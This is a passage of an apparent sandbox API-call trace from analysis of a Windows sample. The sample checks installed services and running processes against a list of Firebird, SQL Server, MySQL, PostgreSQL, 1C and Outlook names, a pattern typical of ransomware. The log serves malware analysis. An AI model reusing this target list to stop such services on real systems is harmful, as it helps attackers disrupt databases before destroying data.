lpString2="DcomLaunch") returned 1 [0056.218] lstrlenW (lpString="Dhcp") returned 4 [0056.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.218] lstrlenW (lpString="Dnscache") returned 8 [0056.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.219] lstrlenW (lpString="DPS") returned 3 [0056.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.219] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.219] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.219] lstrlenW (lpString="eventlog") returned 8 [0056.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.219] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.219] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.219] lstrlenW (lpString="EventSystem") returned 11 [0056.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.219] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.219] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.219] lstrlenW (lpString="gpsvc") returned 5 [0056.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.219] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.219] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.219] lstrlenW (lpString="iphlpsvc") returned 8 [0056.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.219] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.220] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.220] lstrlenW (lpString="LanmanServer") returned 12 [0056.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.220] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.220] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.220] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.220] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.220] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.220] lstrlenW (lpString="lmhosts") returned 7 [0056.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.220] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.220] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.220] lstrlenW (lpString="MMCSS") returned 5 [0056.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.220] lstrlenW (lpString="MpsSvc") returned 6 [0056.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.221] lstrlenW (lpString="Netman") returned 6 [0056.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.221] lstrlenW (lpString="netprofm") returned 8 [0056.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.221] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.221] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.221] lstrlenW (lpString="NlaSvc") returned 6 [0056.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.221] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.221] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.221] lstrlenW (lpString="nsi") returned 3 [0056.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.221] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.221] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.221] lstrlenW (lpString="PcaSvc") returned 6 [0056.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.221] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.221] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.221] lstrlenW (lpString="PlugPlay") returned 8 [0056.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.222] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.222] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.222] lstrlenW (lpString="Power") returned 5 [0056.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.222] lstrlenW (lpString="ProfSvc") returned 7 [0056.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.222] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.222] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.222] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.222] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.222] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.222] lstrlenW (lpString="RpcSs") returned 5 [0056.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.222] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.222] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.222] lstrlenW (lpString="SamSs") returned 5 [0056.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.223] lstrlenW (lpString="Schedule") returned 8 [0056.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.223] lstrlenW (lpString="SENS") returned 4 [0056.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.223] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.223] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.223] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.223] lstrlenW (lpString="Spooler") returned 7 [0056.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.223] lstrlenW (lpString="swprv") returned 5 [0056.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.223] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.223] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.224] lstrlenW (lpString="SysMain") returned 7 [0056.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.224] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.224] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.224] lstrlenW (lpString="Themes") returned 6 [0056.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.224] lstrlenW (lpString="TrkWks") returned 6 [0056.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.224] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.224] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.224] lstrlenW (lpString="UxSms") returned 5 [0056.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.224] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.224] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.224] lstrlenW (lpString="VSS") returned 3 [0056.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.224] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.224] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.224] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.225] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.225] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.225] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.225] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.225] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.225] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.225] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.225] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.225] lstrlenW (lpString="Winmgmt") returned 7 [0056.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.225] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.225] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.225] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.225] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x47f0050 | out: hHeap=0x220000) returned 1 [0056.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0056.228] Process32FirstW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.229] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.229] lstrlenW (lpString="System") returned 6 [0056.229] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.230] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.230] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.230] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.230] lstrlenW (lpString="smss.exe") returned 8 [0056.230] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.230] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.230] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.231] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.231] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.231] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.231] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.231] lstrlenW (lpString="csrss.exe") returned 9 [0056.231] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.231] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.231] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.231] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.231] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.231] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.231] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.232] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.232] lstrlenW (lpString="wininit.exe") returned 11 [0056.232] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.232] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.232] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.232] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.233] lstrlenW (lpString="csrss.exe") returned 9 [0056.233] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.234] lstrlenW (lpString="winlogon.exe") returned 12 [0056.234] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.235] lstrlenW (lpString="services.exe") returned 12 [0056.235] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.235] lstrlenW (lpString="lsass.exe") returned 9 [0056.235] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.236] lstrlenW (lpString="lsm.exe") returned 7 [0056.236] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.237] lstrlenW (lpString="svchost.exe") returned 11 [0056.237] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.237] lstrlenW (lpString="svchost.exe") returned 11 [0056.238] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.238] lstrlenW (lpString="svchost.exe") returned 11 [0056.238] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.239] lstrlenW (lpString="svchost.exe") returned 11 [0056.239] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.240] lstrlenW (lpString="svchost.exe") returned 11 [0056.240] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.240] lstrlenW (lpString="audiodg.exe") returned 11 [0056.240] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.241] lstrlenW (lpString="svchost.exe") returned 11 [0056.241] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.242] lstrlenW (lpString="svchost.exe") returned 11 